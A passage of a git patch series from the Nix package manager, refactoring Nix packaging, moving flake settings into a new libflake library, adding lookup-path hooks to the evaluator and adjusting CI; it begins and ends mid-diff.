           # This also has the benefit of providing us with a distinct set of packages
@@ -180,12 +137,9 @@
 
           # The dependencies are in their own scope, so that they don't have to be
           # in Nixpkgs top level `pkgs` or `nixComponents`.
-          nixDependencies = lib.makeScope final.newScope (scope: {
-            inherit stdenv versionSuffix;
-            libseccomp = final.libseccomp_nix;
-            boehmgc = final.boehmgc_nix;
-            libgit2 = final.libgit2_nix;
-            busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
+          nixDependencies = lib.makeScope final.newScope (import ./packaging/dependencies.nix {
+            inherit inputs stdenv versionSuffix;
+            pkgs = final;
           });
 
           nix = final.nixComponents.nix;
diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix
new file mode 100644
index 00000000000..88273df2210
--- /dev/null
+++ b/packaging/dependencies.nix
@@ -0,0 +1,58 @@
+# These overrides are applied to the dependencies of the Nix components.
+
+{
+  # Flake inputs; used for sources
+  inputs,
+
+  # The raw Nixpkgs, not affected by this scope
+  pkgs,
+
+  stdenv,
+  versionSuffix,
+}:
+scope: {
+  inherit stdenv versionSuffix;
+
+  libseccomp = pkgs.libseccomp.overrideAttrs (_: rec {
+    version = "2.5.5";
+    src = pkgs.fetchurl {
+      url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz";
+      hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U=";
+    };
+  });
+
+  boehmgc = pkgs.boehmgc.override {
+    enableLargeConfig = true;
+  };
+
+  libgit2 = pkgs.libgit2.overrideAttrs (attrs: {
+    src = inputs.libgit2;
+    version = inputs.libgit2.lastModifiedDate;
+    cmakeFlags = attrs.cmakeFlags or []
+      ++ [ "-DUSE_SSH=exec" ];
+  });
+
+  busybox-sandbox-shell = pkgs.busybox-sandbox-shell or (pkgs.busybox.override {
+    useMusl = true;
+    enableStatic = true;
+    enableMinimal = true;
+    extraConfig = ''
+      CONFIG_FEATURE_FANCY_ECHO y
+      CONFIG_FEATURE_SH_MATH y
+      CONFIG_FEATURE_SH_MATH_64 y
+
+      CONFIG_ASH y
+      CONFIG_ASH_OPTIMIZE_FOR_SIZE y
+
+      CONFIG_ASH_ALIAS y
+      CONFIG_ASH_BASH_COMPAT y
+      CONFIG_ASH_CMDCMD y
+      CONFIG_ASH_ECHO y
+      CONFIG_ASH_GETOPTS y
+      CONFIG_ASH_INTERNAL_GLOB y
+      CONFIG_ASH_JOB_CONTROL y
+      CONFIG_ASH_PRINTF y
+      CONFIG_ASH_TEST y
+    '';
+  });
+}

From 985c211061be71317eb2a9fc7a4d35278f5d8e41 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 10:47:13 +0200
Subject: [PATCH 429/528] flake.nix: Move {in,ex}ternal-api-docs into
 nixComponents scope

---
 flake.nix                | 22 ++++------------------
 packaging/components.nix |  5 +++++
 packaging/hydra.nix      |  4 ++--
 3 files changed, 11 insertions(+), 20 deletions(-)

diff --git a/flake.nix b/flake.nix
index 8b4deb78a58..582a946c42e 100644
--- a/flake.nix
+++ b/flake.nix
@@ -144,20 +144,6 @@
 
           nix = final.nixComponents.nix;
 
-          nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix {
-            inherit
-              stdenv
-              versionSuffix
-              ;
-          };
-
-          nix-external-api-docs = final.callPackage ./src/external-api-docs/package.nix {
-            inherit
-              stdenv
-              versionSuffix
-              ;
-          };
-
           nix_noTests = final.nix.override {
             doCheck = false;
             doInstallCheck = false;
@@ -239,8 +225,8 @@
           inherit (nixpkgsFor.${system}.native)
             changelog-d;
           default = self.packages.${system}.nix;
-          nix-internal-api-docs = nixpkgsFor.${system}.native.nix-internal-api-docs;
-          nix-external-api-docs = nixpkgsFor.${system}.native.nix-external-api-docs;
+          nix-internal-api-docs = nixpkgsFor.${system}.native.nixComponents.nix-internal-api-docs;
+          nix-external-api-docs = nixpkgsFor.${system}.native.nixComponents.nix-external-api-docs;
         }
         # We need to flatten recursive attribute sets of derivations to pass `flake check`.
         // flatMapAttrs
@@ -337,8 +323,8 @@
             ++ pkgs.nixComponents.nix-store.nativeBuildInputs
             ++ pkgs.nixComponents.nix-fetchers.nativeBuildInputs
             ++ lib.optionals havePerl pkgs.nixComponents.nix-perl-bindings.nativeBuildInputs
-            ++ pkgs.nix-internal-api-docs.nativeBuildInputs
-            ++ pkgs.nix-external-api-docs.nativeBuildInputs
+            ++ pkgs.nixComponents.nix-internal-api-docs.nativeBuildInputs
+            ++ pkgs.nixComponents.nix-external-api-docs.nativeBuildInputs
             ++ [
               modular.pre-commit.settings.package
               (pkgs.writeScriptBin "pre-commit-hooks-install"
diff --git a/packaging/components.nix b/packaging/components.nix
index f96ac6b5187..b5e47969e05 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -20,4 +20,9 @@ in
   nix-fetchers = callPackage ../src/libfetchers/package.nix { };
 
   nix-perl-bindings = callPackage ../src/perl/package.nix { };
+
+  nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { };
+
+  nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { };
+
 }
diff --git a/packaging/hydra.nix b/packaging/hydra.nix
index 98d8b39619d..5715abd8eaa 100644
--- a/packaging/hydra.nix
+++ b/packaging/hydra.nix
@@ -122,10 +122,10 @@ in
   };
 
   # API docs for Nix's unstable internal C++ interfaces.
-  internal-api-docs = nixpkgsFor.x86_64-linux.native.nix-internal-api-docs;
+  internal-api-docs = nixpkgsFor.x86_64-linux.native.nixComponents.nix-internal-api-docs;
 
   # API docs for Nix's C bindings.
-  external-api-docs = nixpkgsFor.x86_64-linux.native.nix-external-api-docs;
+  external-api-docs = nixpkgsFor.x86_64-linux.native.nixComponents.nix-external-api-docs;
 
   # System tests.
   tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor self; } // {

From e6442891611b2f2ceee7ab1c573eec918a5fe5d7 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 10:54:17 +0200
Subject: [PATCH 430/528] Remove unused boehmgc patch

---
 dep-patches/boehmgc-traceable_allocator-public.diff | 12 ------------
 1 file changed, 12 deletions(-)
 delete mode 100644 dep-patches/boehmgc-traceable_allocator-public.diff

diff --git a/dep-patches/boehmgc-traceable_allocator-public.diff b/dep-patches/boehmgc-traceable_allocator-public.diff
deleted file mode 100644
index 903c707a698..00000000000
--- a/dep-patches/boehmgc-traceable_allocator-public.diff
+++ /dev/null
@@ -1,12 +0,0 @@
-diff --git a/include/gc_allocator.h b/include/gc_allocator.h
-index 597c7f13..587286be 100644
---- a/include/gc_allocator.h
-+++ b/include/gc_allocator.h
-@@ -312,6 +312,7 @@ public:
- 
- template<>
- class traceable_allocator<void> {
-+public:
-   typedef size_t      size_type;
-   typedef ptrdiff_t   difference_type;
-   typedef void*       pointer;

From 9f8e387c3fd78e46c5656a503eafea4757ae2616 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 11:02:45 +0200
Subject: [PATCH 431/528] ci.yml: Build meson on darwin

We're building a bit of Darwin meson indirectly through `checks`,
but it'd be annoying to encounter broken un-`check`-ed stuff
during the porting process, so let's just do the right thing now.
---
 .github/workflows/ci.yml | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index c9e4c25eacc..103ce4ff472 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -195,7 +195,11 @@ jobs:
       - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes .#hydraJobs.tests.functional_user
 
   meson_build:
-    runs-on: ubuntu-22.04
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, macos-latest]
+    runs-on: ${{ matrix.os }}
     steps:
       - uses: actions/checkout@v4
       - uses: DeterminateSystems/nix-installer-action@main

From 32e67eba8ba297045627cd0259c75a2668eda8df Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 26 Jun 2024 19:34:57 -0400
Subject: [PATCH 432/528] Remove invalid release notes YAML field

There is no PR for this, since it was an embargoed fix before
disclosure.
---
 doc/manual/rl-next/harden-user-sandboxing.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/doc/manual/rl-next/harden-user-sandboxing.md b/doc/manual/rl-next/harden-user-sandboxing.md
index fa3c49fc08a..a647acf2540 100644
--- a/doc/manual/rl-next/harden-user-sandboxing.md
+++ b/doc/manual/rl-next/harden-user-sandboxing.md
@@ -2,7 +2,6 @@
 synopsis: Harden the user sandboxing
 significance: significant
 issues:
-prs: <only provided once merged>
 ---
 
 The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

From 88f9d8ccb1d8091c8a35d5916d8490d609f6ce48 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 26 Jun 2024 19:53:36 -0400
Subject: [PATCH 433/528] Don't format the just-added test .c file

On one hand, new things should be formatted. On the other, we just
bacported this file to many prior branches, and if we need to make
changes to it and backport them also, formatting the file on master but
not the release branches would cause issues.
---
 maintainers/flake-module.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 5e4291fcbdb..5febb10118b 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -429,6 +429,7 @@
             ''^tests/functional/test-libstoreconsumer/main\.cc''
             ''^tests/nixos/ca-fd-leak/sender\.c''
             ''^tests/nixos/ca-fd-leak/smuggler\.c''
+            ''^tests/nixos/user-sandboxing/attacker\.c''
             ''^tests/unit/libexpr-support/tests/libexpr\.hh''
             ''^tests/unit/libexpr-support/tests/value/context\.cc''
             ''^tests/unit/libexpr-support/tests/value/context\.hh''

From 52730d38e25d23d44d5ef48836d062a978ecdd72 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 24 Jun 2024 17:33:15 -0400
Subject: [PATCH 434/528] Factor out `flake:...` lookup path from evaluator

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 src/libcmd/common-eval-args.cc | 15 ++++++++++++++-
 src/libexpr/eval-settings.cc   |  3 ++-
 src/libexpr/eval-settings.hh   | 35 +++++++++++++++++++++++++++++++++-
 src/libexpr/eval.cc            | 35 +++++++++++++++++-----------------
 4 files changed, 68 insertions(+), 20 deletions(-)

diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc
index 77dba546d70..393fed532dc 100644
--- a/src/libcmd/common-eval-args.cc
+++ b/src/libcmd/common-eval-args.cc
@@ -15,7 +15,20 @@
 namespace nix {
 
 EvalSettings evalSettings {
-    settings.readOnlyMode
+    settings.readOnlyMode,
+    {
+        {
+            "flake",
+            [](ref<Store> store, std::string_view rest) {
+                experimentalFeatureSettings.require(Xp::Flakes);
+                // FIXME `parseFlakeRef` should take a `std::string_view`.
+                auto flakeRef = parseFlakeRef(std::string { rest }, {}, true, false);
+                debug("fetching flake search path element '%s''", rest);
+                auto storePath = flakeRef.resolve(store).fetchTree(store).first;
+                return store->toRealPath(storePath);
+            },
+        },
+    },
 };
 
 static GlobalConfig::Register rEvalSettings(&evalSettings);
diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc
index 11a62b0fd43..6b7b52cef32 100644
--- a/src/libexpr/eval-settings.cc
+++ b/src/libexpr/eval-settings.cc
@@ -45,8 +45,9 @@ static Strings parseNixPath(const std::string & s)
     return res;
 }
 
-EvalSettings::EvalSettings(bool & readOnlyMode)
+EvalSettings::EvalSettings(bool & readOnlyMode, EvalSettings::LookupPathHooks lookupPathHooks)
     : readOnlyMode{readOnlyMode}
+    , lookupPathHooks{lookupPathHooks}
 {
     auto var = getEnv("NIX_PATH");
     if (var) nixPath = parseNixPath(*var);
diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh
index 2689a846569..5eae708a2a9 100644
--- a/src/libexpr/eval-settings.hh
+++ b/src/libexpr/eval-settings.hh
@@ -5,9 +5,40 @@
 
 namespace nix {
 
+class Store;
+
 struct EvalSettings : Config
 {
-    EvalSettings(bool & readOnlyMode);
+    /**
+     * Function used to interpet look path entries of a given scheme.
+     *
+     * The argument is the non-scheme part of the lookup path entry (see
+     * `LookupPathHooks` below).
+     *
+     * The return value is (a) whether the entry was valid, and, if so,
+     * what does it map to.
+     *
+     * @todo Return (`std::optional` of) `SourceAccssor` or something
+     * more structured instead of mere `std::string`?
+     */
+    using LookupPathHook = std::optional<std::string>(ref<Store> store, std::string_view);
+
+    /**
+     * Map from "scheme" to a `LookupPathHook`.
+     *
+     * Given a lookup path value (i.e. either the whole thing, or after
+     * the `<key>=`) in the form of:
+     *
+     * ```
+     * <scheme>:<arbitrary string>
+     * ```
+     *
+     * if `<scheme>` is a key in this map, then `<arbitrary string>` is
+     * passed to the hook that is the value in this map.
+     */
+    using LookupPathHooks = std::map<std::string, std::function<LookupPathHook>>;
+
+    EvalSettings(bool & readOnlyMode, LookupPathHooks lookupPathHooks = {});
 
     bool & readOnlyMode;
 
@@ -17,6 +48,8 @@ struct EvalSettings : Config
 
     static std::string resolvePseudoUrl(std::string_view url);
 
+    LookupPathHooks lookupPathHooks;
+
     Setting<bool> enableNativeCode{this, false, "allow-unsafe-native-code-during-evaluation", R"(
         Enable built-in functions that allow executing native code.
 
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 717ccc8032a..dd389cceaf9 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -2760,14 +2760,18 @@ std::optional<std::string> EvalState::resolveLookupPathPath(const LookupPath::Pa
     auto i = lookupPathResolved.find(value);
     if (i != lookupPathResolved.end()) return i->second;
 
-    std::optional<std::string> res;
+    auto finish = [&](std::string res) {
+        debug("resolved search path element '%s' to '%s'", value, res);
+        lookupPathResolved.emplace(value, res);
+        return res;
+    };
 
     if (EvalSettings::isPseudoUrl(value)) {
         try {
             auto accessor = fetchers::downloadTarball(
                 EvalSettings::resolvePseudoUrl(value)).accessor;
             auto storePath = fetchToStore(*store, SourcePath(accessor), FetchMode::Copy);
-            res = { store->toRealPath(storePath) };
+            return finish(store->toRealPath(storePath));
         } catch (Error & e) {
             logWarning({
                 .msg = HintFmt("Nix search path entry '%1%' cannot be downloaded, ignoring", value)
@@ -2775,15 +2779,17 @@ std::optional<std::string> EvalState::resolveLookupPathPath(const LookupPath::Pa
         }
     }
 
-    else if (hasPrefix(value, "flake:")) {
-        experimentalFeatureSettings.require(Xp::Flakes);
-        auto flakeRef = parseFlakeRef(value.substr(6), {}, true, false);
-        debug("fetching flake search path element '%s''", value);
-        auto storePath = flakeRef.resolve(store).fetchTree(store).first;
-        res = { store->toRealPath(storePath) };
+    if (auto colPos = value.find(':'); colPos != value.npos) {
+        auto scheme = value.substr(0, colPos);
+        auto rest = value.substr(colPos + 1);
+        if (auto * hook = get(settings.lookupPathHooks, scheme)) {
+            auto res = (*hook)(store, rest);
+            if (res)
+                return finish(std::move(*res));
+        }
     }
 
-    else {
+    {
         auto path = absPath(value);
 
         /* Allow access to paths in the search path. */
@@ -2800,22 +2806,17 @@ std::optional<std::string> EvalState::resolveLookupPathPath(const LookupPath::Pa
         }
 
         if (pathExists(path))
-            res = { path };
+            return finish(std::move(path));
         else {
             logWarning({
                 .msg = HintFmt("Nix search path entry '%1%' does not exist, ignoring", value)
             });
-            res = std::nullopt;
         }
     }
 
-    if (res)
-        debug("resolved search path element '%s' to '%s'", value, *res);
-    else
-        debug("failed to resolve search path element '%s'", value);
+    debug("failed to resolve search path element '%s'", value);
+    return std::nullopt;
 
-    lookupPathResolved.emplace(value, res);
-    return res;
 }
 
 

From 0084a486ccf7bfd12dab6b9a34b0f947c3d979a0 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 28 Sep 2023 21:51:28 -0400
Subject: [PATCH 435/528] Split out a new `libnixflake`

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 Makefile                                      |  4 +-
 maintainers/flake-module.nix                  | 20 ++++-----
 src/libcmd/local.mk                           |  4 +-
 src/libexpr/eval.cc                           |  1 -
 src/libexpr/local.mk                          |  3 --
 src/libfetchers/fetch-settings.hh             | 25 -----------
 src/libfetchers/registry.cc                   | 20 +++++++--
 src/libflake/flake-settings.cc                | 14 ++++++
 src/libflake/flake-settings.hh                | 39 +++++++++++++++++
 src/{libexpr => libflake}/flake/config.cc     |  4 +-
 src/{libexpr => libflake}/flake/flake.cc      |  7 +--
 src/{libexpr => libflake}/flake/flake.hh      |  0
 src/{libexpr => libflake}/flake/flakeref.cc   |  0
 src/{libexpr => libflake}/flake/flakeref.hh   |  0
 src/{libexpr => libflake}/flake/lockfile.cc   |  0
 src/{libexpr => libflake}/flake/lockfile.hh   |  0
 src/{libexpr => libflake}/flake/url-name.cc   |  0
 src/{libexpr => libflake}/flake/url-name.hh   |  0
 src/libflake/local.mk                         | 17 ++++++++
 src/nix/local.mk                              |  4 +-
 .../{libexpr/flake => libflake}/flakeref.cc   |  0
 tests/unit/libflake/local.mk                  | 43 +++++++++++++++++++
 .../{libexpr/flake => libflake}/url-name.cc   |  0
 23 files changed, 153 insertions(+), 52 deletions(-)
 create mode 100644 src/libflake/flake-settings.cc
 create mode 100644 src/libflake/flake-settings.hh
 rename src/{libexpr => libflake}/flake/config.cc (96%)
 rename src/{libexpr => libflake}/flake/flake.cc (99%)
 rename src/{libexpr => libflake}/flake/flake.hh (100%)
 rename src/{libexpr => libflake}/flake/flakeref.cc (100%)
 rename src/{libexpr => libflake}/flake/flakeref.hh (100%)
 rename src/{libexpr => libflake}/flake/lockfile.cc (100%)
 rename src/{libexpr => libflake}/flake/lockfile.hh (100%)
 rename src/{libexpr => libflake}/flake/url-name.cc (100%)
 rename src/{libexpr => libflake}/flake/url-name.hh (100%)
 create mode 100644 src/libflake/local.mk
 rename tests/unit/{libexpr/flake => libflake}/flakeref.cc (100%)
 create mode 100644 tests/unit/libflake/local.mk
 rename tests/unit/{libexpr/flake => libflake}/url-name.cc (100%)

diff --git a/Makefile b/Makefile
index 227aaf6d931..132fe29cc7b 100644
--- a/Makefile
+++ b/Makefile
@@ -18,6 +18,7 @@ makefiles = \
   src/libfetchers/local.mk \
   src/libmain/local.mk \
   src/libexpr/local.mk \
+  src/libflake/local.mk \
   src/libcmd/local.mk \
   src/nix/local.mk \
   src/libutil-c/local.mk \
@@ -45,7 +46,8 @@ makefiles += \
   tests/unit/libstore-support/local.mk \
   tests/unit/libfetchers/local.mk \
   tests/unit/libexpr/local.mk \
-  tests/unit/libexpr-support/local.mk
+  tests/unit/libexpr-support/local.mk \
+  tests/unit/libflake/local.mk
 endif
 
 ifeq ($(ENABLE_FUNCTIONAL_TESTS), yes)
diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 5febb10118b..cc7241d21ee 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -65,14 +65,6 @@
             ''^src/libexpr/eval-settings\.hh$''
             ''^src/libexpr/eval\.cc$''
             ''^src/libexpr/eval\.hh$''
-            ''^src/libexpr/flake/config\.cc$''
-            ''^src/libexpr/flake/flake\.cc$''
-            ''^src/libexpr/flake/flake\.hh$''
-            ''^src/libexpr/flake/flakeref\.cc$''
-            ''^src/libexpr/flake/flakeref\.hh$''
-            ''^src/libexpr/flake/lockfile\.cc$''
-            ''^src/libexpr/flake/lockfile\.hh$''
-            ''^src/libexpr/flake/url-name\.cc$''
             ''^src/libexpr/function-trace\.cc$''
             ''^src/libexpr/gc-small-vector\.hh$''
             ''^src/libexpr/get-drvs\.cc$''
@@ -127,6 +119,14 @@
             ''^src/libfetchers/tarball\.hh$''
             ''^src/libfetchers/git\.cc$''
             ''^src/libfetchers/mercurial\.cc$''
+            ''^src/libflake/flake/config\.cc$''
+            ''^src/libflake/flake/flake\.cc$''
+            ''^src/libflake/flake/flake\.hh$''
+            ''^src/libflake/flake/flakeref\.cc$''
+            ''^src/libflake/flake/flakeref\.hh$''
+            ''^src/libflake/flake/lockfile\.cc$''
+            ''^src/libflake/flake/lockfile\.hh$''
+            ''^src/libflake/flake/url-name\.cc$''
             ''^src/libmain/common-args\.cc$''
             ''^src/libmain/common-args\.hh$''
             ''^src/libmain/loggers\.cc$''
@@ -436,8 +436,6 @@
             ''^tests/unit/libexpr/derived-path\.cc''
             ''^tests/unit/libexpr/error_traces\.cc''
             ''^tests/unit/libexpr/eval\.cc''
-            ''^tests/unit/libexpr/flake/flakeref\.cc''
-            ''^tests/unit/libexpr/flake/url-name\.cc''
             ''^tests/unit/libexpr/json\.cc''
             ''^tests/unit/libexpr/main\.cc''
             ''^tests/unit/libexpr/primops\.cc''
@@ -446,6 +444,8 @@
             ''^tests/unit/libexpr/value/context\.cc''
             ''^tests/unit/libexpr/value/print\.cc''
             ''^tests/unit/libfetchers/public-key\.cc''
+            ''^tests/unit/libflake/flakeref\.cc''
+            ''^tests/unit/libflake/url-name\.cc''
             ''^tests/unit/libstore-support/tests/derived-path\.cc''
             ''^tests/unit/libstore-support/tests/derived-path\.hh''
             ''^tests/unit/libstore-support/tests/nix_api_store\.hh''
diff --git a/src/libcmd/local.mk b/src/libcmd/local.mk
index 9aa33a9d3c2..a270333f451 100644
--- a/src/libcmd/local.mk
+++ b/src/libcmd/local.mk
@@ -6,10 +6,10 @@ libcmd_DIR := $(d)
 
 libcmd_SOURCES := $(wildcard $(d)/*.cc)
 
-libcmd_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libmain)
+libcmd_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libflake) $(INCLUDE_libmain)
 
 libcmd_LDFLAGS = $(EDITLINE_LIBS) $(LOWDOWN_LIBS) $(THREAD_LDFLAGS)
 
-libcmd_LIBS = libstore libutil libexpr libmain libfetchers
+libcmd_LIBS = libutil libstore libfetchers libflake libexpr libmain
 
 $(eval $(call install-file-in, $(buildprefix)$(d)/nix-cmd.pc, $(libdir)/pkgconfig, 0644))
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index dd389cceaf9..e2ae493cfc8 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -21,7 +21,6 @@
 #include "url.hh"
 #include "fetch-to-store.hh"
 #include "tarball.hh"
-#include "flake/flakeref.hh"
 #include "parser-tab.hh"
 
 #include <algorithm>
diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk
index d128064a525..95ce4de6326 100644
--- a/src/libexpr/local.mk
+++ b/src/libexpr/local.mk
@@ -8,7 +8,6 @@ libexpr_SOURCES := \
   $(wildcard $(d)/*.cc) \
   $(wildcard $(d)/value/*.cc) \
   $(wildcard $(d)/primops/*.cc) \
-  $(wildcard $(d)/flake/*.cc) \
   $(d)/lexer-tab.cc \
   $(d)/parser-tab.cc
 # Not just for this library itself, but also for downstream libraries using this library
@@ -45,8 +44,6 @@ $(eval $(call install-file-in, $(buildprefix)$(d)/nix-expr.pc, $(libdir)/pkgconf
 
 $(foreach i, $(wildcard src/libexpr/value/*.hh), \
   $(eval $(call install-file-in, $(i), $(includedir)/nix/value, 0644)))
-$(foreach i, $(wildcard src/libexpr/flake/*.hh), \
-  $(eval $(call install-file-in, $(i), $(includedir)/nix/flake, 0644)))
 
 $(d)/primops.cc: $(d)/imported-drv-to-derivation.nix.gen.hh
 
diff --git a/src/libfetchers/fetch-settings.hh b/src/libfetchers/fetch-settings.hh
index 50cd4d161be..629967697da 100644
--- a/src/libfetchers/fetch-settings.hh
+++ b/src/libfetchers/fetch-settings.hh
@@ -70,30 +70,6 @@ struct FetchSettings : public Config
     Setting<bool> warnDirty{this, true, "warn-dirty",
         "Whether to warn about dirty Git/Mercurial trees."};
 
-    Setting<std::string> flakeRegistry{this, "https://channels.nixos.org/flake-registry.json", "flake-registry",
-        R"(
-          Path or URI of the global flake registry.
-
-          When empty, disables the global flake registry.
-        )",
-        {}, true, Xp::Flakes};
-
-    Setting<bool> useRegistries{this, true, "use-registries",
-        "Whether to use flake registries to resolve flake references.",
-        {}, true, Xp::Flakes};
-
-    Setting<bool> acceptFlakeConfig{this, false, "accept-flake-config",
-        "Whether to accept nix configuration from a flake without prompting.",
-        {}, true, Xp::Flakes};
-
-    Setting<std::string> commitLockFileSummary{
-        this, "", "commit-lock-file-summary",
-        R"(
-          The commit summary to use when committing changed flake lock files. If
-          empty, the summary is generated based on the action performed.
-        )",
-        {"commit-lockfile-summary"}, true, Xp::Flakes};
-
     Setting<bool> trustTarballsFromGitForges{
         this, true, "trust-tarballs-from-git-forges",
         R"(
@@ -108,7 +84,6 @@ struct FetchSettings : public Config
           `narHash` attribute is specified,
           e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f?narHash=sha256-PPXqKY2hJng4DBVE0I4xshv/vGLUskL7jl53roB8UdU%3D`.
         )"};
-
 };
 
 // FIXME: don't use a global variable.
diff --git a/src/libfetchers/registry.cc b/src/libfetchers/registry.cc
index e00b9de46a8..52cbac5e0a0 100644
--- a/src/libfetchers/registry.cc
+++ b/src/libfetchers/registry.cc
@@ -1,12 +1,11 @@
 #include "registry.hh"
 #include "tarball.hh"
 #include "users.hh"
+#include "config-global.hh"
 #include "globals.hh"
 #include "store-api.hh"
 #include "local-fs-store.hh"
 
-#include "fetch-settings.hh"
-
 #include <nlohmann/json.hpp>
 
 namespace nix::fetchers {
@@ -149,10 +148,25 @@ void overrideRegistry(
     flagRegistry->add(from, to, extraAttrs);
 }
 
+struct RegistrySettings : Config
+{
+    Setting<std::string> flakeRegistry{this, "https://channels.nixos.org/flake-registry.json", "flake-registry",
+        R"(
+          Path or URI of the global flake registry.
+
+          When empty, disables the global flake registry.
+        )",
+        {}, true, Xp::Flakes};
+};
+
+RegistrySettings registrySettings;
+
+static GlobalConfig::Register rRegistrySettings(&registrySettings);
+
 static std::shared_ptr<Registry> getGlobalRegistry(ref<Store> store)
 {
     static auto reg = [&]() {
-        auto path = fetchSettings.flakeRegistry.get();
+        auto path = registrySettings.flakeRegistry.get();
         if (path == "") {
             return std::make_shared<Registry>(Registry::Global); // empty registry
         }
diff --git a/src/libflake/flake-settings.cc b/src/libflake/flake-settings.cc
new file mode 100644
index 00000000000..77e35bc7b4a
--- /dev/null
+++ b/src/libflake/flake-settings.cc
@@ -0,0 +1,14 @@
+#include "flake-settings.hh"
+#include "config-global.hh"
+
+namespace nix {
+
+FlakeSettings::FlakeSettings()
+{
+}
+
+FlakeSettings flakeSettings;
+
+static GlobalConfig::Register rFlakeSettings(&flakeSettings);
+
+}
diff --git a/src/libflake/flake-settings.hh b/src/libflake/flake-settings.hh
new file mode 100644
index 00000000000..ae88dfd9cc5
--- /dev/null
+++ b/src/libflake/flake-settings.hh
@@ -0,0 +1,39 @@
+#pragma once
+///@file
+
+#include "types.hh"
+#include "config.hh"
+#include "util.hh"
+
+#include <map>
+#include <limits>
+
+#include <sys/types.h>
+
+namespace nix {
+
+struct FlakeSettings : public Config
+{
+    FlakeSettings();
+
+    Setting<bool> useRegistries{this, true, "use-registries",
+        "Whether to use flake registries to resolve flake references.",
+        {}, true, Xp::Flakes};
+
+    Setting<bool> acceptFlakeConfig{this, false, "accept-flake-config",
+        "Whether to accept nix configuration from a flake without prompting.",
+        {}, true, Xp::Flakes};
+
+    Setting<std::string> commitLockFileSummary{
+        this, "", "commit-lockfile-summary",
+        R"(
+          The commit summary to use when committing changed flake lock files. If
+          empty, the summary is generated based on the action performed.
+        )",
+        {}, true, Xp::Flakes};
+};
+
+// TODO: don't use a global variable.
+extern FlakeSettings flakeSettings;
+
+}
diff --git a/src/libexpr/flake/config.cc b/src/libflake/flake/config.cc
similarity index 96%
rename from src/libexpr/flake/config.cc
rename to src/libflake/flake/config.cc
index b348f6d44b1..49859535939 100644
--- a/src/libexpr/flake/config.cc
+++ b/src/libflake/flake/config.cc
@@ -1,6 +1,6 @@
 #include "users.hh"
 #include "config-global.hh"
-#include "fetch-settings.hh"
+#include "flake-settings.hh"
 #include "flake.hh"
 
 #include <nlohmann/json.hpp>
@@ -51,7 +51,7 @@ void ConfigFile::apply()
         else
             assert(false);
 
-        if (!whitelist.count(baseName) && !nix::fetchSettings.acceptFlakeConfig) {
+        if (!whitelist.count(baseName) && !nix::flakeSettings.acceptFlakeConfig) {
             bool trusted = false;
             auto trustedList = readTrustedList();
             auto tlname = get(trustedList, name);
diff --git a/src/libexpr/flake/flake.cc b/src/libflake/flake/flake.cc
similarity index 99%
rename from src/libexpr/flake/flake.cc
rename to src/libflake/flake/flake.cc
index 67b19bd57ef..93d528d61fe 100644
--- a/src/libexpr/flake/flake.cc
+++ b/src/libflake/flake/flake.cc
@@ -9,6 +9,7 @@
 #include "fetchers.hh"
 #include "finally.hh"
 #include "fetch-settings.hh"
+#include "flake-settings.hh"
 #include "value-to-json.hh"
 #include "local-fs-store.hh"
 
@@ -346,7 +347,7 @@ LockedFlake lockFlake(
 
     FlakeCache flakeCache;
 
-    auto useRegistries = lockFlags.useRegistries.value_or(fetchSettings.useRegistries);
+    auto useRegistries = lockFlags.useRegistries.value_or(flakeSettings.useRegistries);
 
     auto flake = getFlake(state, topRef, useRegistries, flakeCache);
 
@@ -691,7 +692,7 @@ LockedFlake lockFlake(
